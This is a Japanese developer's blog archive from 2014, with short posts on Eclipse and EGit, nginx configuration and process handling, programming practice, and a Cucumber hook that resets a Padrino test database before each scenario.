もともと昔から開発はEclipseで行っていましたが、今はRubyを書いていくのがVimの方がやりやすいため、コードはVimで書いています。さらに、gitのコミットなどの操作もEclipseからではなく、ターミナル上のgitコマンドで行うようにしています(こちらは、Eclipseはシンボリックリンクを含むgitリポジトリの扱いにバグがあるため)。

逆に、Eclipseを使っていない人もいると思うんですよね。僕の周囲にはそういう人も居ます。確かに、Vimとターミナル上の各種コマンドで全てのことはできるっちゃできるんですが、Eclipseを併用すると色々な場面で効率を上げることができます。

僕がEclipseで活用している機能のうち、特に役立つと思うものをいくつか紹介します。

・ファイル検索

grepコマンドやfindコマンドでも同様のことができますが、Eclipseは結果表示の一覧性が良く、結果からエディターのヒット箇所へジャンプしつつ、結果を次々と見ていけたりできます。検索範囲をファイルツリーから選ぶのも直感的にできますし、使える正規表現もgrepより多いです。
操作方法:プロジェクト・エクスプローラ上で、検索したい範囲を選択した上でメニューから「検索>検索...」を選びます。

・gitヒストリー(コミットグラフ)の閲覧

これがあるからEclipseを併用していると言っても過言ではないです。gitのコミットグラフを可視化するツールはいくつも試しましたが、Eclipse(の標準プラグインEGit)が一番綺麗で見やすいと思います。
操作方法:プロジェクト・エクスプローラ上でプロジェクトのトップディレクトリを右クリックして「チーム>ヒストリーに表示」を選びます。

・gitコミット直前の確認ダイアログ

コミットする際に変更のあったファイル一覧は、ターミナル上でgitコマンドによるコミットを行う場合も出てきますけれども、Eclipseの場合ダイアログが表示されて変更のあったファイルと変更の種類を一覧で出すとともに、その一覧のファイルをダブルクリックすると、コミットしようとしている差分を表示してくれます。僕はここで差分だけ確認したらキャンセルして、実際のコミット操作はターミナル上のgitコマンドで行っています。
操作方法:プロジェクト・エクスプローラ上でプロジェクトのトップディレクトリを右クリックして「チーム>コミット...」を選びます。

・ディレクトリ単位での比較

比較結果がディレクトリ構造にのっとってツリー状に表示されるため、変更箇所が分かりやすいです。
操作方法:プロジェクト・エクスプローラ上で比較したい2つのディレクトリを選択した状態で右クリックして「比較>相互」を選びます。

他にも色々機能はありますが、上で述べた機能が最もよく使いますし、これらだけでも使いこなせば、Vimとターミナルだけで開発を進めるよりも一段高い生産性を発揮できることでしょう。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月9日水曜日

エンジニア以外の人との会話に必要なこと

この動画↓を見て爆笑したんですが、ひとしきり笑って、ちょっと考えたんですよ。

「しわ寄せはいつも技術者に来る」「笑えるどころか胃が痛くなってきた」 エンジニアの苦悩を描いた動画に世界中が共感

エンジニアにとっては明らかに不可能と思える要求が平然とクライアントから突きつけられる、ってことは、結構よくある話なんじゃないかと思います。上の動画だと「7本の赤い線を引く。全ては厳密に直角で、そのうち数本は緑のインクと透明のインクを使う。」という要求です。

・・・何を言ってるんだ!?と叫びたくなりますが、ここで重要なのは、要求を出している側も、それが何を意味しているのか本当は理解していないし、さらにその要求の字面通りのものを欲しがっているもでもない、っていうことですね。

ちなみに上の動画でリアルだなぁと思うのは、途中でエンジニアが「では2本の赤い線を直角に描いて、残りは透明なインクで描く。これでどうか?」と提案して、クライアントも「それで大丈夫」と一旦返す所です。

そう、厳密に言えば、「2本の赤い線を直角に描いて、残りは透明なインクで描く」というのは、一番最初にクライアントが出した要求とは違います。赤い線は7本から2本に減っているし、緑のインクも使わない。でも、クライアントは大丈夫と言っている。要するに、クライアント自身も、自分が欲しがっているものが分かっていない、ということです。

もうそろそろお分かりだと思いますが、今回のタイトルに掲げた「エンジニア以外の人との会話に必要なこと」というのは、スバリ「察する力」です。

会話から、相手が本当は何を欲しているのか汲み取らなくてはいけません。そしてそれを再度エンジニアが言葉にして返すのです。

相手の言うことを言葉通りに受け取ってはいけません。ものごとを可能な限り正確に話すのはエンジニア同士なら当然のことですけれども、それ以外の人は、会話とはなんとなく雰囲気が合っていればOK程度位にしか思っていない、とエンジニアは考えるべきです。別にエンジニア以外の人が適当すぎると責めたいのではなく、そのくらい言葉の前提が違うという意味です。

相手が滅茶苦茶なことを言っていたとしても、本当は何を望んでいるのかを察することが出来れば、それを提案すれば相手は満足してくれるわけですね。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月8日火曜日

プログラミング中に「作る側」と「使う側」の意識を切り替える

プログラミングをしている時には、プログラマとしての意識、つまり「作る側」の意識と、ユーザとしての意識、つまり「使う側」の意識の両方が大切になります。というのは当たり前の話ですから、殆どの人はもう聞き飽きたでしょう。

しかしながら、実際にまさにプログラムを書いている最中は、どうしても「作る側」の意識になります。これは仕方のないことです。だから、「使う側」の意識に切り替るタイミングを入れていかなければいけません。

そのため、僕は動作確認を頻繁に入れます。プログラムを実行させずにコードだけひたすら書き続けるということはしません。昔読んだ本の中には、コードだけひたすら書くことを推奨し、コーディングしながらデバッグをしないようにと書いてあるものもありましたが、それだと無駄にバグが多くなるようにしか思えません。その本ではバグの収束曲線を把握するためだと説明がありましたが、それは本来不要なバグを作りこんでからデバッグするという無駄な手間を増やすことであるとしか僕には思えませんでした。

ちなみに、動作確認を頻繁に行うというのは、ある意味テスト駆動開発に近いです。実際、僕はテスト駆動開発を知る前には、自動化テストの有無を除けばテスト駆動開発と同じやりかたを自分でしていました。要するに、最初に小さい仕様を考え、コードを書き、手動でテストを行います。それが動いたら、また仕様を少し加えたものを考え、コードを書き、手動でテストを行う・・・という繰り返しですね。これに自動化テストの記述を加えて、テスト実行を自動化すればまさにテスト駆動開発です。

ちなみにテスト駆動開発であれば自然に「作る側」と「使う側」の意識が切り替わるので今回の話は改めてするまでもないかもしれません。ただ、必ずしもテスト駆動開発を全ての開発の部分に適用できるわけではありませんから、やはり自分で意識することもどうしても必要だと思いますね。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月7日月曜日

シェルスクリプトでnginx master processのpidを取得する

シェルスクリプトからnginxの起動・終了を制御したいことがあって、master process のPIDを取得するにはどうしたらいいのか調べた経緯を少々書いてみます。

nginx は master process というプロセスの小プロセスとして worker process を複数持ち、実際の処理はworker processが担当し、全体の起動・終了などのworker process の管理はmaster processが担当しています。
(参考→http://d.hatena.ne.jp/kiwanami/20111205/1323105070

ということで、シェルスクリプトから終了させる場合には、master processにシグナルを送るのが正しい作法でしょう。pkillでnginx全体にシグナル送ってもいいかもしれませんが、せっかくmaster processがあるのに少々乱暴っぽいですし。

普通に起動・終了を制御するのであればngixの設定でpidfileを作成していると思うのでpidfileに記録されてるpidを見ればmaster processのpidを特定できますけれども、pidfileが何らかの理由で消えたか見つからないか読み取れない場合の処理を書いておきたいと思ったので、pidfile以外でmaster processのpidを見つける方法をとります。

ということで、以下のコマンドで取得できます。

ps ax opid,ppid,cmd | grep nginx | awk '$2 == "1" { print $1 }'

ps の a オプションは端末のある全てのプロセスの表示、xオプションは端末のないプロセスの表示なので、"ps ax"で全てのプロセスを表示します。opid,ppid,cmdはそれそれ、自身のpid、親プロセスのpid、コマンド名を出力するという意味です。その中からgrep で "nginx" を含む行だけを抽出します。ここまでの途中で出力してみるとこんな感じですね。

[root@host]# ps ax opid,ppid,cmd | grep nginx
 5057 19498 grep nginx
 6812     1 nginx: master process /usr/sbin/nginx
 6813  6812 nginx: worker process
 6814  6812 nginx: worker process
 6815  6812 nginx: worker process
 6816  6812 nginx: worker process

デーモンとして動くプロセスは、親プロセスのpidは1(init)になります。nginxでは、worker process は master processを親に持つため、pidが1なのはmaster processのみです。あと grep コマンド自身も実行中のシェルを親に持つため、pidが1のものを抜き出せば、それがmaster processになります。

とうことで、2列目に出力された親プロセスが1の行について、1列目のpidの値を出力するようawkで指定すればOKです。

[root@host]# ps ax opid,ppid,cmd | grep nginx | awk '$2 == "1" { print $1 }'
6812

参考になれば幸いです。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月6日日曜日

プログラミング言語は多く使えたほうがいいのか

当然のことながら、ソフトウェアエンジニアにとって、使えるプログラミング言語というのは武器であり仕事道具であるわけです。だったら使えるプログラミング言語の種類も多ければ多いほどいいのか、というと、僕はそうではないように思います。

1つのプログラミング言語において、ビジネスにおけるあらゆる要求を満たせるように自在にその言語を使いこなして開発ができるレベルに到達するのは、それほど簡単な話ではないと思うのです。要するに1つの言語を極めるにはある程度の経験の量が必要でありその分時間も必要であるわけです。そして、そこまで到達して初めて、その言語は自分の強みと言える状態になれると思うのです。

そして、使える言語の数が多いからといって、その全てが上で述べたような、極めたといえるレベルに到達できるかといえば、そんなことは不可能ですし、その必要もありません。何か1つ、極めたといえるレベルで使える言語があればそれだけでもかなりの強みを発揮できます。結局プログラミング言語の違いというのは自然言語で言う方言のようなものなので、1つの言語でやり方を知っていることは他の言語にも応用が効く場合が多いからです。

とはいえ、1つの言語しか知らないとなると、その言語独特の流儀だったり特性ってものが分かりません。だからある程度使いこなせる言語が2種類は欲しいところです。逆にそれ以上無理に増やそうとする必要性は薄いと思います。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月5日土曜日

プログラミングのプロとアマの違い「例外処理」

えー、僕も仕事でプログラミングをそれなりにやって来ましたけれども、よくプログラミングの初心者向けの解説サイトとか書籍とかを見てますと、プログラミングって結構簡単に見えるんですよね。まあ、その時点でついていけない人もかなり居るとは思いますけれども、人には得意不得意がありますので仕方ないです。僕が言いたいことは、細かい作業が得意なタイプの人からすると結構簡単に見えるってことですよ。

しかしながら、そういった初心者向けの解説サイトとか書籍には、大抵の場合すっぽりと抜け落ちているものがあります。これはサイトの製作者や書籍の著者たちがうっかり屋さんとかドジっ子なのではなくて、「わざと」抜いてある部分があるのです。それはなにかと申しますと、この投稿のタイトルでお分かりだと思いますが「例外処理」です。

つまりですね、そういう初心者向けの解説サイトとか書籍に掲載してあるサンプルコードには、ある目的を最短距離で達成するコードのみが載っているのであり、ユーザが予想外の操作をしてきた時にエラーにならないようにするための、あらゆるパターンを先回りしてケアするためのコード、すなわち例外処理のコードなんぞ載せてはいないのです。

ですが、この例外処理のコードをいかに抜け漏れ無く、エラーを起こしたりクラッシュしたりしないように書けるかが、プロに求められるプログラミングのスキル(の1つ)だったりします。だいたい、ちょっと自分用に動けばいいプログラムとか、クラッシュしても誰も困らない使い捨てのプログラムだけを作るのであれば、こんなにラクなことはないのです。つまり例外処理こそがプログラミングのプロとアマチュアを分ける最大の違いの1つと言うことが出来るでしょう。

これは、プログラムを依頼する側に、「アレとコレができればいいだけなんだから簡単でしょ」とか勘違いする人が後を絶たない理由でもあります。例外処理のことなど全く考えていない連中からすると、実装しなければいけないロジックは実に単純に思えるのです。しかしながら、例外処理があるのと無いのとでは、ロジックの総量は何倍も違うのです。それを理解しないくせして、無茶苦茶な使い方をして動かないとなると「こんなプログラムは使えない」と文句を垂れるんでしょう。そういうもんです。

もちろんプロとして例外処理はきちんとやるんですけれどね。まあ、実際に仕事としてプログラミングをやったことがある人以外では、この部分の大変さを理解してる人は少ないと思います。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月4日金曜日

コードの裏側で行われる処理の重さに気を付ける

プログラミングをしておりますと、色々便利なライブラリがありまして、そういうものを使うと本来であれば複雑であるはずの処理がいとも簡単にコードで書けてしまいます。もちろん僕もよく使いますし、恩恵に預かっています。

しかしながら、あまりにも簡単に書けるがあまり、「処理の重さ」を忘れてしまわないように注意したほうがいいと思うんですよね。

最近見かけた例では、XMLファイルを読み込んで操作するプログラムにおいて他人が書いたコードで見かけたんですが、XMLをパースしてオブジェクト化するライブラリを利用していたそのコードで、XMLパースの操作を複数回行ってしまっているようなものがありました。たしかにコード上においてはたった1行の操作ですけれども、XMLのパースは基本的に重い処理であって、可能な限り結果を保存して使い回し、パースし直すのは避けるべきでしょう。

上記はあくまで一例ですけれども、便利なライブラリはコードがさらっと簡単に書ける分、裏側で動いている処理が一体なにをしているのかしっかり意識して使わないと、パフォーマンスに思わぬ影響を与える可能性がありますから注意すべきであると思います。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月3日木曜日

nginxの設定でif文中のincludeがエラーになるので別の方法で設定する

nginx の設定で if文の中で include しようとするとエラーが起こります。具体的には、ドキュメントルート以下に存在しないファイルは別のURLのプロキシ向けに丸投げする設定を以下のように書きました。

location / {
  if (!-f $request_filename) {
    proxy_pass http://some-url;
    include /etc/nginx/proxy_params;
    break;
  }
}

上記設定を含んだ状態で起動しようとすると下記エラーが発生します。

[root@host]# service nginx start
Restarting nginx: nginx: [emerg] "include" directive is not allowed here in /etc/nginx/sites-enabled/foo:21
nginx: configuration file /etc/nginx/nginx.conf test failed

調べてみると、if 文の中ではincludeはできないようです。さらに、nginx において if は可能な限り避けろという話が見つかりました。予測できない動きをすることがあり、場合によってはクラッシュの危険もあるとか。

http://forum.nginx.org/read.php?2,123451,123462#msg-123462
http://wiki.nginx.org/IfIsEvil

ということで、別の方法を模索します。今回の目的なら代わりに try_files が使えます。

http://heartbeats.jp/hbblog/2012/04/nginx05.html

上記URLを参考に書いてみましょう。

location / {
  try_files $uri $uri/ @proxy;
}

location = / {
  try_files $uri @proxy;
}

location @proxy {
  proxy_pass http://some-url;
  include /etc/nginx/proxy_params;
}

location が "/" と完全一致の時の設定に注意してください。try_files に $uri/ が指定してあると、directory index を試みて 403 エラーになってしまいます。そのため "/" との完全一致で $uri/ を抜いた try_files を指定しておきます。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月2日水曜日

Eclipse EGitでサブモジュールを含むリポジトリが常に変更ありになる件

Eclipse の EGit プラグインでは、サブモジュールを含むリポジトリをチェックアウトすると、まだ何も変更していないはずなのに、変更ありのマークが付くという不可思議な状況になります。

最初はいきなり変更ありのマークが付いて何かミスったのかと思いましたが、やり直しても変わらないのでEGitがおかしいってことですね。

ちなみにシンボリックリンクも同じように変更していないはずなのに変更ありのマークが就いてしまいます。

調べてみたら、どうやらEgitが使うgitのJava上の実装であるJGitのバグのようです。シンボリックリンクの扱いが原因みたいですね。

https://bugs.eclipse.org/bugs/show_bug.cgi?id=391280

Eclipseはクロスプラットフォームである以上、シンボリックリンクの扱いをどうするのかは難しい問題なのかもしれません。上記リンク先を見ると、まだバグの対処は手付かずのようです。

仕方ないのでとりあえず、僕は端末上から git コマンドを併用することにしています。ステータスを見る時やgit コマンドによる各種操作はEclipseでなく端末上の git から行うようにしています。Eclipseはヒストリー(コミットグラフ)が見やすいのと、コミット時に出る、変更一覧を選択して差分を見るダイアログが見やすいので、実際のコミットは行わずコミット時のダイアログだけ見るといった使い方をしています。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。

2014年4月1日火曜日

Cucumberで各シナリオのテスト実行前にDBリセット

Cucumberでテストを実行しようとするときに、各シナリオ実行前にデータベースをテスト用の初期状態にセットしておきたいって思ったんですよ。各シナリオ内部で書いてもいいのかもしれませんが、毎回同じ状態にセットするのも面倒ではあります。

そこで、フックを利用します。support/env.rb にフック登録用メソッドで処理を定義すると、決められたタイミングで実行してくれます。今回はシナリオ実行前なので、Beforeメソッドを使います。

さらに、DBリセット時のログをターミナル上に出してしまうと、テスト実行結果の出力と混じって見づらくなってしまいます。そこで、DBリセット時はログをファイルに吐き出すことにします。

Padrinoフレームワーク上で、ActiveRecordを使っている時のsupport/env.rb の一例を書いておきます。

# encoding: utf-8
RACK_ENV = 'test' unless defined?(RACK_ENV)
require File.expand_path(File.dirname(__FILE__) + "/../../config/boot")

require 'capybara/cucumber'
require 'rspec/expectations'
require 'thor'

##
# You can handle all padrino applications using instead:
#   Padrino.application
Capybara.app = ProjectName::App.tap { |app|  }

# ログファイル用のディレクトリ・ファイルの準備
log_dir = Padrino.root('log', 'cucumber')
log_path = log_dir + '/before.log'
FileUtils.mkdir_p(log_dir) unless FileTest.exist?(log_dir)
File.open(log_path, 'w').close

# 標準出力をバックアップ
stdout_old = $stdout.dup
# テーブル一覧を取得(テーブル名からモデルクラス名を求めて定数化)
tables = (ActiveRecord::Base.connection.tables - ['schema_migrations']).map { |t| t.classify.constantize }
# データファイル
seed_file = Padrino.root('db', 'seeds.rb')
# フック実行済み回数
hook_done_count = 0

# 各シナリオの実行前に起動するフック
Before do |scenario|
  # 標準出力をログファイルに吐き出す
  $stdout.reopen(log_path, 'a')
  $stdout.write("\n") if hook_done_count > 0
  $stdout.write(Time.now.instance_eval { '%s.%03d'%[strftime('%Y/%m/%d %H:%M:%S'), (usec / 1000.0).round] } + "\n")
  $stdout.write('機能: ' + scenario.feature.name.split("\n").first + "\n")
  $stdout.write('シナリオ: ' + scenario.name.split("\n").first + "\n")
  $stdout.write("\n")

  # データベース初期化
  tables.each do |tbl|
    tbl.destroy_all
  end
  load(seed_file) if File.exist?(seed_file)

  # 標準出力を元に戻す
  $stdout.reopen(stdout_old)

  hook_done_count += 1
end

def shell
  @_shell ||= Thor::Base.shell.new
end

補足すると、seeds.rbファイルをロードすることにより、テストの初期状態データセットをロードすることになっていますが、その中でThorを使い、shellという名前でThorオブジェクトを扱っているので、Thorオブジェクトを返すshellメソッドを定義しています。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうぞ。